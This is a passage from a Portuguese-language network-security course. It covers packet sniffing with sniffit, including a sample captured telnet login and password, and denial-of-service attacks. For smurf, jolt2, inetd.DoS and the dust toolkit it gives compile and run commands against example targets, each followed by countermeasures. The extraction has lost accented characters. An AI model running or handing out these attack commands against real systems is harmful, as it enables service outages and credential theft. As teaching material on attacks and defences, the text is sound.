criptografa os dado s em trnsito. Se fosse servio como: TELNET, FTP e HTTP, o texto apresentado estari a em texto simples e seria facilmente interpretado. Para voltar o menu de seleo de conexes, digite q de quit.

Este modo de operao, assim como no modo de operao comum, permite selecionar endereo d e origem, endereo de destino, porta de origem e destino para serem analisados. Es tas funes so configuradas atravs das teclas F1, F2, F3 e F4. Exemplo de captura do sniffit Captura de sesses telnet: hand Neste exemplo de captura ser utilizado o modo de operao comum do sniffit. O co mando a ser executado est apresentado abaixo: #sniffit -l 0 -p 23 -t 192.168.1.1 Este comando ir criar um arquivo no diretrio de execuo com nome similar a este: 192. 168.1.3.1026-192.168.1.1.23. O formato do nome do arquivo indica que a mquina 192 .168.1.3 atravs da porta 1026 conectou na porta 23 da mquina 192.168.1.1. O contedo do arquivo representa os dados capturados. Utilize o editor vi para abrir este arquivo, o contedo apresentado ser parecido com: ^A^C^Cjpaulo^M^@senha123^M^@ls^M^@cat /etc/passwd^M^@exit^M^@ Observe que o contedo do arquivo acima representa o login e senha seguido dos com ando executado por este usurio. Captura de sesses de bate papo Este tipo de captura de sesses prefervel utilizar o modo interface de operao, pois p ermite ver em tempo real a conversao. hand Logo execute: #sniffit -i fig 5. Ilustrao da captura de conversa em um bate-papo. Observe por meio da figura acima que toda a conversao no bate-papo pode ser obtida claramente. O sniffer alm de apresentar as frases digitadas pelos usurios, tambm a presenta as TAGs HTML utilizada na pgina de bate-papo. Medidas contra sniffers No existem formas de evitar o farejamento da sua rede por uma pessoa interna, poi s os sniffers utilizam de uma caracterstica da rede ethernet para obter os dados na rede. Entretanto possvel amenizar os problemas relacionados ao sniffer. As med idas de prevenes contra esta ferramenta pode ser implementada a nvel de software e hardware. Prevenes a nvel de software A idia permitir o farejamento, mas evitar que os dados sejam compreensveis atravs d a rede. Para isto deve-se aplicar servios que utilizam de criptografia forte na t ransferncia de dados. Os principais servios que utilizam de criptografia so: SSH Secure Shell Este servio utiliza de criptografia forte e evita que os dad os seja compreendidos via rede. uma tima alternativa a servios como o telnet que no utiliza de criptografia. O SSH alm de disponibilizar terminais remotos, possui a ferramenta scp secure copy e sftp secure file transfer protocol - que so ferrame ntas utilizadas para transferir arquivos via rede de forma segura. Estas duas fe rramentas podem ser utilizadas para substituir o servio FTP que no utiliza criptog rafia.

HTTPS HTTP Secure - Implementao de SSL Secure Sockets Layer ao protocolo HTTP. uma alternativa a servidores Web que trafegam informaes importantes. Muito utiliz ado em comrcio eletrnico e consultas bancrias via Internet. VPN Virtual Private Network uma alternativa para inteligar duas redes privad as via Internet de forma segura. A VPN implementa criptografia nos roteadores de cada rede privada de forma que todo o pacote que tenha destino a outra rede sej a criptografado. IMAPS Internet Message Protocol Secure uma variante do servio IMAP que utiliz a de criptografia na transferncia de seus dados. POP3S Post Office Protocol Secure uma variante do servio POP3 que utiliza de criptografia para trafegar seus dados na rede.

Nota: S utilize servios inseguros em informaes que no so importantes para segurana d ua rede. Prevenes a nvel de hardware Quanto ao hardware, a estrutura da rede deve ser feita de forma que a quantidade de dados em um barramento seja o mnimo possvel. Assim, ao executar um sniffer, a quantidade de dados farejados ser tambm menor. Isto pode ser feito segmentando a r ede em vrias sub-rede atravs de roteadores ou hubs inteligentes. Pois, o sniffer c onsegue apenas farejar os dados que esto no segmento de rede imediato. Outra medida importante a utilizao de switches. Estes equipamentos garantem uma ma ior segurana que os hubs. Pois os switches criam pontes entre pares de mquinas de forma que o barramento fique dividido.

Nota: As solues a nvel de hardware, muito das vezes, no so viveis economicamente. Nes e caso, mais interessante utilizar solues a nvel de software. Links Indicados http://www.tcpdump.org Site oficial do tcpdump. Disponibiliza download, FAQ e documentao. Este site tambm disponibiliza a biblioteca libpcap biblioteca utiliza da pelos sniffers - e uma verso do tcpdump para Windows. http://packetstormsecurity.org Possui uma grande variedades de ferramentas e anncios de seguranas. Uma grande variedade de sniffer pode se encontrada neste si te, basta fazer uma busca pela palavra sniffer neste endereo. O linsniffer pode s er inclusive encontrado neste site. http://www.cotse.com/tools/sniffers.htm Este endereo disponibiliza uma grande quantidade de sniffers, incluindo o linsniffer e o dsniff. Vrios farejadores que no foram apresentados neste material e que vale a pena test-los esto disponveis nes te endereo. http://www.monkey.org/~dugsong Site do desenvolvedor da coleo de ferramentas d sniff. Disponibiliza download e FAQ. http://sniffit.rug.ac.be/sniffit/sniffit.html - Pgina oficial do sniffit. Dis ponibiliza download e FAQ. Terminologia Utilizada sniffer - Sniffers, que traduzido significa farejadores, so ferramentas que p ossuem a finalidade de capturar dados na rede

DoS? Denied of Service Traduzido como negao de servio. um tipo de ataque que v sa consumir recurso de uma mquina com a finalidade de causar danos como: consumo de memria, consumo de processamento, consuma da largura de banda da rede etc.

BOOTP Protocolo utilizado para implementao de Boot Remoto. Configurao de rede em que as estaes no precisam de disco rgido. As estaes trabalham utilizando os recursos do servidor BOOTP.

DHCP Dynamic Host Configuration Protocol Protocolo que permite a configurao di nmica de mquinas. Assim, todas as configuraes de rede como, nmero IP, mscara, roteado so definidos no servidor DHCP que, por sua vez, repassa para seus clientes DHCP. Modo promscuo modo de operao da placa de rede que permite capturar todos os dad os que trafegam na rede. Os sniffers so responsveis por este modo de operao. SSH - Secure Shell Servio que disponibiliza terminais para administrao remota. Este servio utiliza criptografia forte que evita a captura de dados atravs de fare jadores. HTTP HyperText? Transfer Protocol - Protocolo utilizado pelos servidores Web que usa geralmente a porta 80 de comunicao IMAP Internet Message Access Protocol Protocolo utilizado para acessar remot amente mensagens no servidor de email. POP Post Office Protocol Da mesma forma que o IMAP, o POP utilizado para ace ssar remotamente mensagens no servidor de email.

TELNET Servio utilizado para administrao remota. Este servio no implementa cript grafia e permite a captura de senhas e logins facilmente atravs de sniffers. FTP File Transfer Protocol Protocolo utilizado para transferncia de arquivos. um servio que tambm no implementa criptografia, sendo, portanto, vunervel a ataques de farejadores. SSL Secure Sockets Layer Software utilizado para implementao de criptografias em servios como: HTTP, IMAP e POP Endereo MAC Media Access Control Endereo de hardware que identifica a interfac e de rede. Frame HUB aparelho utilizado para permitir a comunicao de mquinas. Em uma rede privad a, todas as mquinas so ligadas a este equipamento atravs de um cabo. SWITCH Assim como o HUB, o switch um aparelho que permite a comunicao de mquina s. Entretanto, o switch divide o trfego de rede, criando pontes entre pares de mqu inas que esto ligadas ao barramento. Isto ameniza a quantidade de dados que pode ser capturado pelo sniffer. Exerccios de Reviso 1. Quais os dois tipos de finalidades o sniffer pode ser utilizado? Que tipo s de problemas de rede pode ser detectado? E quais tipos de informaes pode ser cap turado utilizando um sniffer? 2. Explique o funcionamento dos farejadores. E explique aonde possvel acontec

er ataques de sniffers? 3. Uma pessoa instala um sniffer em um roteador que est acima de seu roteador de sada para Internet. Que tipo de informao este sniffer poder capturar? 4. Quais os sniffers apresentados neste material? Explique para qual situao ma is interessante o uso de determinado sniffer.

5. Explique o processo de instalao e utilizao do linsniffer. Que tipo de informao possvel obter com este farejador? 6. O dsniff um conjunto de ferramenta com a finalidade de capturar informaes n a rede. Quais so as principais ferramentas deste pacote e quais suas finalidades? 7. O sniffit possui dois modos de operao. Quais as vantagens de utilizar deter minado modo? 8. Quais as medidas que devem ser implementadas para garantir a segurana de s ua rede contra sniffers? Ataques de Negao de Servios DoS Neste captulo sero apresentados diversos tipos de ataques que visam a negao de servio s de um sistema ou rede. Introduo

DoS Denied of Service traduzido como negao de servios resultado da perda de um ser io ou uma incapacidade de funcionamento do sistema ou rede. Este ataques podem fa zer um sistema ficar parado por minutos, horas ou dias dependendo da intensidade e frequncia do ataque. Ataques DoS causam prejuzos enormes a grandes empresas devido ao tempo de manuteno criados por estes ataques. Imagine um sistemas de comrcio eletrnico ficar parado u m dia, com certeza ir causar um prejuzo considerado na receita da empresa. Essencialmente um ataque DoS interrompe ou nega completamente servios a usurios le gtimos e a qualquer outro recurso. Este tipo de ataque no requer muita habilidade, e a grande quantidade de ferramentas disponveis na Internet faz com que este tip o de ataque seja cada vez mais frequente. Tipos de ataques Embora, haja uma quantidade infinita de ferramentas e tipos de ataques DoS possve l resumir estes ataques em trs categorias: Consumo de largura de banda, Inanio de r ecursos e queda de sistema ou aplicativo. 2.1. Consumo de largura de banda Cada rede possui uma quantidade limitada de dados que podem trafegar na mesma, o s fatores que determinam esta quantidade so: velocidade de rede, desempenho e tip o de rede. A negao de servio ir ocorrer quando toda a largura de banda consumida, ou seja, toda a capacidade do link utilizada. Este ataque faz com que a mquina vtima perca a comunicao com a rede. Assim, todos os servios e recursos da rede ficam ina cessveis a esta mquina. Para executar um ataque DoS deste tipo, o atacante necessita de uma conexo com ve locidade maior que a da vtima. Um exemplo seria um link de ataque de velocidade 2 .0 Mbps contra um link de 56 kbps ou 128kbps.

fig 1. Esta ilustrao representa um ataque DoS de consumo de largura de banda, em q ue o atacante possui um link de maior velocidade que a vtima. Se o atacante no possuir um link desta velocidade, ele poder utilizar de outros do is artifcios: 1. O atacante dispara pacotes a partir de vrias instalaes ao mesmo tempo. Neste caso o somatrio das vrias conexes de rede utilizada pelo atacante dever ser maior q ue a velocidade do alvo. Neste caso, o atacante dever ter acesso a uma quantidade X de redes para ser utilizada em conjunto. fig 2. Representa um ataque DoS em que o atacante utiliza de vrias instalaes para c onsumir a largura de banda da vtima. 2. O atacante utiliza de uma rede amplificadora para aumentar seu potencial de ataque. Este tipo de ataque um dos mais utilizados pois permite que somente u m link de baixa velocidade ataque um link de maior velocidade. baseado no envio de pacotes para todas as mquinas de uma rede atravs do endereo de broadcast e fazer que todas as mquinas retornem o pacote para a vtima. O conjunto de mquinas que rec ebem este pacote e retornam para a vtima conhecida como rede amplificadora. fig 3. Ataque DoS que utiliza de uma rede amplificadora para consumir a largura de banda da vtima.

Nota: Como o atacante capaz de enviar pacotes para vrias mquinas e fazer com que e las retornem pacotes para outra mquina? Isto possvel atravs da falsificao do endere e origem que chamado spoofing. Entre as principais ferramentas diponveis para execuo deste tipo de ataque, podemos citar: smurf ferramenta de ataque baseado em redes de amplificao. Permite que um atac ante com um link de baixa velocidade ataque links de maior velocidade. ICMP Flood Conhecido como pingflood, causa negao de servio via superutilizao da argura de banda de rede. Inanio de recursos Este tipo de ataque tem a finalidade de consumir recursos do sistema. Geralmente ataca uma caracterstica de um servio ou procotocolo. Tem como objetivo afetar o f uncionamento do sistema ou de um servio especfico. Os recursos do sistema que so af etados esto descritos abaixo: CPU e Memria Estes recursos podem ser consumidos atravs de um servio de rede qu e permite abrir infinitas conexes ao mesmo tempo. Assim, uma simples ferramentas poder conectar indefinidamente no servidor forando o servidor executar uma infinid ade de processos. Estes novos processos iro consumir memria e ciclos de CPU, poden do causar travamento da mquina. Quota de sistema arquivos Este recurso pode ser explorado atravs de servios qu e recebem indefinidamente dados da rede. Um ataque bem conhecido que consome est e tipo de recurso so as bombas de correio eletrnico. Este ataque baseado em um sof tware que envia emails indefinidamente para um determinado servidor de email. Es te ataque poder ocupar todo o espao em disco e causar problemas na execuo de process os. A seguir sero descritos dois tipos de ataques: o SYN Flood e o Inet DoS. Descrio do ataque SYN Flood:

Em uma conexo normal, o processo de comunicao TCP baseado em um processo de comunic ao de 3 vias, como apresentado abaixo: SYN Cliente ------------------------>Servidor SYN/ACK Cliente <------------------------Servidor ACK Cliente ------------------------>Servidor fig 4. Ilutrao do processo de estabelecimento de conexo TCP. 1. Na primeira instncia, um pacote SYN enviado a partir de uma porta do clien te para uma porta do servidor que dever estar em estado de escuta LISTEN. 2. Na segunda instncia, o servidor ir enviar para a porta do cliente a porta d o cliente geralmente uma porta alta acima de 1024 aberta temporariamente e aleat oriamente um pacote SYN/ACK. 3. Na terceira instncia, se tudo ocorrer bem, o cliente ir enviar um pacote AC K e a conexo ser estabelecida estado ESTABLISHED. Imagine agora o que acontecer se o cliente falsificar o endereo de origem para um endereo inexistente. Neste caso, toda que vez que o cliente/atacante enviar um pa cote SYN para o servidor/vtima, este ir retornar um pacote SYN/ACK para um endereo falsificado e jamais ir receber resposta. A partir deste momento o servidor est comprometido em estabelecer uma conexo que s er removida somente depois de esgotar o tempo de estabelecimento de conexo. Este t empo, varia de sistema para sistema, podendo demorar de 75 segundos a 23 minutos . Como a fila de conexo geralmente bastante pequena, um atacante s precisar mandar al guns poucos pacotes SYN em um pequeno intervalo de tempo para colocar uma porta inacessvel. O sistema sob ataque nunca ser capaz de limpar a fila de conexo antes d e receber novas solicitaes SYN. Nota: Se houver um sistema no endereo falsificado, ele normalmente responder com u m pacote RST para o servidor, j que ele no iniciou a conexo. Logo, a conexo ser encer rada. Entretanto, o atacante dever escolher um endereo impossvel de ser alcanado pel o servidor. SYN Atacante ---------------------------->Vtima SYN/ACK Endereo falsificado <----------------------------Vtima

fig 4. Processo de comunicao TCP com endereo de origem falsificado spoofing. Este m odo utilizado no ataque SYN Flood. Observe que a terceira instncia no ir ocorrer. Quanto mais conexes deste tipo for ex ecutado pelo atacante, maior ser o tamanho da pilha espera de uma resposta. Para que a porta pare de responder, a quantidade de pacotes SYN enviados pelo atacant e dever exceder a quantidade de conexes suportada por tal porta. Este ataque exige pouca largura de banda e a identificao do autor complicada devid o a falsificao do endereo de origem.

Nota: Existe tambm um ataque chamado de UDP Flood. Este ataque as caractersticas d o protocolo UDP para causar negao de servios. baseado no envio de uma quantidade de trfego que o sistema-alvo no capaz de tratar de uma s vez. Ataque DoS ao Inet

O servio Internet Inet um servio que controla a inicializao de outros servios. Os se vios controloados esto definidos no arquivo inetd.conf como por exemplo: ftp, imap , telnet, pop, finger etc. Estes servios controlados so frequentemente alvos de at aques DoS devido a facilidade com que possvel parar estes servios. Ataques DoS dirigidos ao Inet baseado no nmero de conexo que cada servio controlado pode abrir. Quando ultrapassado este nmero, o servio pra imediatamente de responde r e dever ser inicializado. Queda do sistema ou servio Este tipo de ataque baseado em falhas de programao de determinado servio ou falhas no tratamento de um pacote por um determinado protocolo. A finalidade deste ataq ue fazer com que um processo seja parado ou at mesmo deligar ou reiniciar um sist ema operacional. Entre os principais ataques desta natureza, possvel citar: Ping of Death O Ping da morte. Talvez seja o mais conhecido de todos os ataq ues DoS. Este ataque baseado em solicitaes ICMP de grande tamanho. O ataque causa queda do sistema operacional devido ao tratamento imprprio desses dados. Inetd DoS Todos os servios controlado pelo Inet esto vunerveis a ataques DoS. O s ataques fazem que qualquer porta aberta por um servio controlado pelo Inet seja fechada. Nota: Existem uma grande quantidade de ferramentas e ataques DoS e toda semana s urgira outras. Portanto, o leitor dever recorrer a Internet para conseguir maiore s quantidades de ferramentas, assim como ter acesso a estas novas ferramentas. N a verdade, quanto mais novas as ferramentas, maiores sero as chances de efetuar u m ataque bem-sucedido. Smurf: Ataque de consumo de largura de banda

O smurf uma ferramenta utilizada para fazer ataques DoS do tipo consumo da largu ra de banda. O smurf usa um rede de amplificao para enviar grande quantidades de d ados para vtima. A amplificao do dados pelo smurf resultado do envio de solicitaes d ping broadcast direcionada para uma rede de sistemas que responda a tais solici taes. Uma solicitao de ping broadcast direcionada pode ser enviada tanto ao endereo de re de quanto ao endereo de broadcast da rede. O smurf pode ser encontrado no site http://packetstormsecurity.org. O smurf um a rquivo escrito em linguagem C que pode ser compilado com o cc ou gcc. hand Veja: #gcc smurf.c -o smurf O smurf necessita de um arquivo que contenha os endereos de broadcast das redes a mplificadoras. Para uma rede 200.1.2.0/24, o endereo de broadcast ser 200.1.2.255. Para uma rede de endereo 162.1.0.0/16, o endereo de broadcast ser 162.1.255.255. D eve-se, ento, criar um arquivo com nome broadcast.txt e adicionar os endereos de b roadcast das redes amplificadoras. hand Veja o exemplo abaixo:

#cat broadcast.txt 200.1.2.255 162.1.255.255 hand Para executar um ataque, escolha um alvo e execute o smurf com usurio root. #smurf torre.xadreznet.com.br broadcast.txt 0 0 56 Este exemplo envia pacotes para o alvo torre.xadrezenet.com.br utilizando as red es amplificadoras definidas no arquivo broadcast.txt. O primeiro 0 representa um nmero ilimitados de pacotes enchente. O segundo 0 representa o tempo de interval o entre o envio de pacotes em ms milisegundos. O ltimo nmero determina o tamanho d os pacotes. Nota: Para cada pacote ICMP enviado para um rede amplificadora que contenha 100 mquinas que respondam a pings broadcast, o atacante ter multiplicado o ataque DoS por um fator 100. Assim, um atacante que consiga localizar uma rede amplificador a com alta razo de amplificao ter maiores chance de saturar toda a largura de banda da vtima. Como evitar este ataque: Para evitar este ataque, basta bloquear o recebimento de pacotes ICMP. Esta regr a pode ser implementada atravs de firewall. Assim, qualquer pacote ICMP ser descar tado pelo firewall e no ir saturar o link de rede. jolt2: Ataque de Inanio de Recursos O ataque jolt2 baseado no envio de fragmentos de pacote IP para mquinas Windows. A remotangem destes pacotes pelo Windows faz com que a CPU seja 100% utilizada. A consequncia deste ataque: travamento e perca de comunicao na rede. O jolt2 foi testado em Windows 98, NT 4.0(SP5 e 6) e 2000. O jolt2 um arquivo es crito em linguagem C e pode ser encontrado no endereo http://packetstormsecurity. org. Para compilar este arquivo utilize o compilador C cc - ou o compilador C da GNU gcc. #gcc jolt2.c -o jolt2 hand Para utilizar o jolt2, basta especificar o endereo IP do alvo, exemplo: #./jolt2 10.1.0.127 Neste caso, a vtima do ataque a mquina de IP 10.1.0.127. Para verificar o resultad o do ataque, voc poder, se tiver acesso a mquina alvo, executar o Task Manager do W indows 2000 e verificar a porcentagem de uso da CPU. Nota: em alguns ataques, o consumo de CPU to intenso que ocorre travamento e a mqu ina pra de responder na rede. Como evitar este ataque: Atualize o sistema aplicando as correes necessrias patches. Detalhes deste ataque e st em disponvel em http://packetstormsecurity.nl/advisories/microsoft/ms00-029. Es te endereo possui informaes de como aplicar e onde encontrar os patches para correo d este ataque. inetd.DoS: Ataque de queda de servio

O inetd.DoS ataca todos os servios que so controlados pelo Inet. O Inet permite qu e seja aberta somente uma quantidade X de conexes para cada servio controlado por ele. O inetd.DoS ultrapassa esta quantidade e faz com que a porta do servio seja fechada. O inetd.DoS tambm um arquivo escrito em linguagem C que pode ser encontrado no en dereo http://packetstormsecurity.org. hand Para compil-lo, execute: #gcc inetd.<nop>DoS.c -o inetd.<nop>DoS hand A sintaxe do inetd.DoS est apresentada abaixo: #./inetd.<nop>DoS <mquina alvo> <porta do servio> <tempo de conexo> hand Veja o exemplo de ataque: #./inet.<nop>DoS torre.xadreznet.com.br 143 100000 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 13 - 14 - 15 - 19 - 20 - 21 - 22 - 23 - 24 - 25 - 26 - 27 - 28 - 29 - 30 - 31 - 35 - 36 - 37 - 38 - 39 - 40 - 41 - 42 - 43 - 44 - 45 - 46 - 47 - 51 - 52 - 53 - 54 - 55 - 56 - 57 - 58 - 59 - 60 - 61 - 62 - 63 - 67 - 68 - 69 - 70 - 71 - 72 - 73 - 74 - 75 - 76 - 77 - 78 - 79 - 83 - 84 - 85 - 86 - 87 - 88 - 89 - 90 - 91 - 92 - 93 - 94 - 95 - 99 - 100 - 101 - 102 - 103 - 104 - 105 - 106 - 107 - 108 - 109 211; 11 Host --> [torre.xadreznet.com.br] ** Port --> [143] Closed or Firewalled Port 16 - 17 32 - 33 48 - 49 64 - 65 80 - 81 96 - 97 110 - 111 18 34 50 66 82 98 &#8

O exemplo acima ataca o servio IMAP porta 143 da mquina torre.xadrezenet.com.br. D epois de executar o comando, verifique se a porta realmente foi fechada atravs de um scanner de rede, como por exemplo o nmap. Como evitar este ataque: Regras de firewall pode ser implementado para evitar que os servios controlados p elo Inet sejam acessveis publicamente. Entretanto, pode haver caso em que haver ne cessidade de disponibilizar estes servios publicamente, neste caso aconselha-se p assar a utilizar o xinet. Na verdade, o xinet possui vrias vantagens relacionada a segurana e, comparado ao inet, sempre que possvel deve-se substitu-lo. Nota: O xinet possui proteo contra ataques DoS, pois limita a quantidade de conexes que uma mquina pode iniciar, limita a quantidade de servidores do mesmo tipo que podem ser executados ao mesmo tempo, limita o total de servidores e o tamanho d os arquivos de logs. Ataque de queda de sistema operacional Entre os principais ataques conhecidos que fazem a queda do sistema operacional o Ping of Death traduzido e conhecido como ping da morte e o Teardrop. Ambos podem ser compilados e executados no Linux. Entretanto, a maioria dos sistemas operac ionais j esto corrigidos e no esto vunerveis a estes ataques. O Linux, por exemplo, s omente vunervel ao ping da morte em verses do kernel inferiores a 2.0.24. Contra ata ques do Teardrop, o kernel a partir das verses 2.0.32 j implementa correes que evita m este ataque. Este dois ataques apresentados so baseados no envio de pacotes ICMP que danificam a pilha de protocolos TCP/IP. O ping da morte por exemplo, baseado em alguns soft wares que permitem a contruo de pacotes com tamanho maior que 65.536 bytes, tamanh o mximo que a especificao TCP/IP admite. Estes pacotes quando transmitido na Intern

et so fragmentados em pacotes menores. Quando o sistema recebe os pacotes fragmen tados, ele ir remont-lo com o tamanho inadequado. Nos sistemas operacionais mais a ntigos, o pacote com tamanho irregular causa estouro da pilha cujo pacote foi ar mazenado. O resultado destes ataques geralmente uma reinicializao da mquina alvo. As seguir ser apresentada as principais ferramentas que fazem ataques DoS deste t ipo: pingexploit.c e win95ping.c Ataque ping da morte. Sistemas operacionais vunervei s: Windows 95 e NT 3.51. Causa queda do sistema operaciona. winnuke.c Afeta os sistemas operacionais: Windows 95 e NT. O Winnuke reinici a qualquer mquina 95 e NT que no tenha correes. kod kiss of death Conhecido e traduzido como beijo da morte. Causa queda do si stema operacional Windows 95. Um pacote de ferramentas de ataques DoS chama-se dust. Este pacote pode ser enco ntrado no endereo http://packetstormsecurity.org. Ferramentas para ataque DoS com o: teardrop, kod e winnuke esto disponveis neste pacote. Para utiliz-lo siga o proc edimento abaixo: #tar xvfz dust-0.2.tgz #cd dust-0.2 Dentro dust possui um diretrio chamado bin que guarda as ferramentas de ataque Do S. O pacote dust fornece um shel script tambm chamado dust que permite a utilizao d as ferramentas de ataques. A sintaxe do dust est apresentada abaixo: #./dust <mquina-alvo> <nmero do tipo de ataque> Os tipos de ataques e seus respectivos nmeros esto apresentados abaixo 1 = ++ATH0 2 = pimp 3 = hanson 4 = beer 5 = trash 6 = teardrop 7 = winnuke 8 = kox 9 = ssping 10 = land 11 = kod 12 = fawx 13 = bloop 14 = echok 15 = wingatecrash 16 = coke 17 = duy 18 = Frontpage-Personal Web Server(3.0.2) DoS 19 = ruc 20 = HiperBomb? 21 = Inetd DoS 22 = OpenTear? hand Para atacar, por exemplo, uma mquina Windows 95 atravs por meio do kod kiss o f death, execute: #./dust 10.1.0.127 11

Observe que os tipos de ataques nmero 6 e 7 se referem aos ataques: teardrop e wi nnuke respectivamente. Para obter informaes sobre os outros ataques, visite o site http://packetstormsecurity.org e faa uma busca sobre as demais ferramentas. Como evitar este ataque: Deve-se sempre manter o sistema atualizado. Como explicado anteriormente somente os sistemas mais antigos so vunerveis a este tipo de ataque. Isto no garante que u m sistema atual no seja vunervel, pois falhas de segurana so encontradas diariamente . Consideraes Finais Para garantir a segurana de seu sistema e de sua rede. Preocupe-se com os seguint es fatores: Sistema e servios atualizados Utilize sempre as ltimas verses estveis do kernel e se necessrio aplique as patches corretas. Sempre que possvel, atualize seus serv ios. Sistema desatualizado sinnimo de sistema vunervel. Novas verses de sistema e se rvio geralmente corrigem problemas de segurana de verses anteriores. Firewall O firewall uma ferramenta essencial para evitar que servios internos no fiquem disponveis externamente. Logo, somente os servios que no esto protegidos p elo firewall sero vtimas de ataques DoS. Portanto, deve-se aplicar regras no firew all de forma a minimizar a quantidade de servios e protocolos que possam ser util izados fora da rede interna. IDS Sistemas de Deteco de Intruso permite identificar os autores dos ataques D oS, assim como descobrir qual recurso do sistema ou rede est sendo atacado. Informao Mantenha-se bastante informado: participe de listas de discusses sobre segurana e visite diariamente sites especializados em segurana. Teste as novas fe rramentas que surgirem e verifique se seus sistema est vunervel, se estiver, corri j-o. Estas so as principais medidas a serem implementadas para garantir a segurana de s eu servidor e rede. Links Indicados http://www.packetstormsecurity.org Neste endereo voc tem acesso a vrias ferrame ntas para ataque DoS, incluindo o: smurf, jolt2, inet.DoS, teardrop, dust etc. E ste site tambm disponibiliza os principais software relacionados a segurana e vrios anncios de segurana advisories. http://www.securiteam.com site especializado em segurana. Disponibiliza cdigo fonte de programas de explorao incluindo DoS, ferramentas de ataque e defesa para vrios sistemas operacionais, ltimas notcias de segurana e listas de discusso. http://www.cert.org Principal site relacionado aos anncios e alertas de segur ana. As ltimas notcias sobre vunerabilidades de servios e sistema operacional so disp onibilizado neste endereo. O site possui informaes de como corrigir sistemas vunerve is, assim como evitar possveis problemas futuros. http://www.securityfocus.com - Site especializado em segurana. Disponibiliza uma grande quantidade de ferramentas de segurana em geral e anncios de segurana. Po ssui ferramentas de explorao de vunerabilidades exploits e ferramentas para anlise e diagnstico de rede. Terminologia utilizada

DoS Denied of Service traduzido como negao de servios resultado da perda de um

servio ou uma incapacidade de funcionamento do sistema ou rede. Broadcast Endereo que relaciona todas as mquinas de uma rede. utilizado para p ropagar dados a todos os hosts de uma rede. Em um endereo de rede 10.1.0.0 com msc ara 255.255.0.0 o endereo de broadcast ser 10.1.255.255 - octetos dos endereo de ho sts todos iguais a 1 na forma binria. Rede amplificadora Rede utilizada para aumentar o potencial de um ataque DoS . baseado na retransmisso de pacotes ICMP atravs do endereo de broadcast. Spoofing Definido com falsificao do endereo IP de origem. Muito utilizado em at aques DoS para que a vtima retorne pacotes para uma mquina inexistente. ICMP Internet Control Message Protocol Protocolo muito utilizado para anlise e diagnstico de rede, utilizado por comandos como: ping e traceroute. SYN Pacote utilizado em conexes TCP. o primeiro pacote que o cliente envia pa ra o servidor solicitando a conexo. SYN/ACK O servidor responde ao pacote SYN aceitando a mensagem original e en viando sua informao SYN. ACK Pacote de confirmao de recebimento. Cada pacote durante uma conexo estabele cida possui um bit ACK configurado em 1 para confirmar os pacotes recebidos prev iamente. Depois que este pacote enviado a conexo ser estabelecida. RST Um pacote de reinicializao RESET enviado sempre que um sistema recebe um acote inesperado. Ping of Death Traduzido como ping da morte. um ataque que causa a queda do sis tema operacional atravs da violao de algumas especificaes do protocolo TCP/IP.

Inet um servio que tem a funo de controlar a inicializao de outros servios de o em /etc/inetd.conf. Firewall Traduzido como muro de fogo. Tem a funo de proteger uma rede privada de ataques externos. Por exemplo: regras no firewall pode ser definido de forma qu e um servio seja acessvel apenas pela rede interna, qualquer solicitao externa ser de scartada. IDS Sistema de Deteco de Intrusos Permite identificar ataques DoS e vrios outro s tipos de ataques. Exerccios de Reviso 1. Qual a finalidade de um ataque DoS? Fale sobre as trs categorias de ataque s DoS. 2. O que pode ser utilizado por um atacante para consumir a largura de banda de uma rede? Explique como redes remotas podem ser utilizadas para aumentar o p otencial de um ataque DoS de consumo de largura de banda. 3. Explique o procedimento de ataque SYN Flood descrevendo a caracterstica da comunicao TCP utilizado por este ataque. 4. Quais as medidas podem ser utilizada para evitar ataques DoS ao Inet? Qua is as vantagens do xinet em relao ao inet? 5. Quais as medidas preventivas contra um ataque de queda de sistema ou serv io? Explique qual vunerabilidade do protocolo TCP/IP o ataque Ping of Death utili

za para causar a queda do sistema operacional. Violando a rede O objetivo deste captulo demostrar alguns exemplos reais de violao de rede. Portant o, neste captulo ser visto algumas formas de obter acesso no autorizado e como aume ntar os privilgios de um usurio. Introduo Neste momento o leitor j conhece as principais ferramentas necessrias para executa r um ataque bem sucedido. O objetivo deste captulo despertar o leitor, a partir d e alguns exemplos reais, demostrando como possvel utilizar tais ferramentas e est udos apresentados at aqui para galgar algum privilgio ou obter um acesso no autoriz ado. Identificando vunerabilidades As vunerabilidades podem surgir a partir de vrios motivos. Porm, possvel identifica r trs problemas mais genricos que so a razo para a grande maioria de ataques: erros de configurao, captura de dados na rede e servios vunerveis a partir de erros de pro gramao. O primeiro erro mais comum e, geralmente, fica restrito configurao de servios inter nos da rede ou do prprio sistema. Exemplo: administrador pode compartilhar arquiv os sem nenhuma restrio a nvel de usurio e host. Possveis ataques: uma pessoa mal inte ncionada pode alterar ou ver dados confidncias do sistema via rede ou enviar um a rquivo executvel com SUID para posteriormente aumentar seus privilgios. A captura de dados um dos ataques em que o atacante no necessita de muita habilid ade e, dependendo da informao capturada, o sistema e rede podem ser totalmente com prometido. Vrios exemplos deste tipo de ataque j foram apresentados no captulo sobr e sniffers e no ser aqui mais tratado. A explorao de servios vunerveis um dos ataques onde o atacante pode obter um shell r emoto ou aumentar seus privilgios sem muito esforo, pois vrias ferramenta conhecida s como exploits esto disponveis na Internet. A seguir ser estudado apresentado alguns exemplos de ataques atravs de configuraes e rrneas e atravs do uso de exploits. Exploits Ferramentas de explorao Exploits so ferramentas de explorao de servios ou qualquer tipo de vunerabilidade en contrada no sistema ou rede. Estas ferramentas so programas cuja finalidade : exec utar comandos arbitrrios, obter um shell no autorizado e aumentar os privilgios de usurio por meio de erros de programao de alguns servios ou qualquer recurso do siste ma. A maioria dos exploits para Linux so escritos em linguagem C, Perl ou script shell. A grande maioria das vunerabilidades encontradas em alguns servios so baseadas no buffer overflow que traduzido como estouro de pilha. Esta vunerabilidade causa u ma anomalia no servio que permite, muito das vezes, o exploit executar um endereo de memria diferente do normal. A execuo deste endereo de memria diferente pode permit ir o exploit executar um comando aleatrio, obter um shell ou mesmo ler arquivos n o sistema. Os exploits so enquadrados em dois tipos: 1. Exploit para execuo local - o usurio mal intencionado deve ter uma conta no

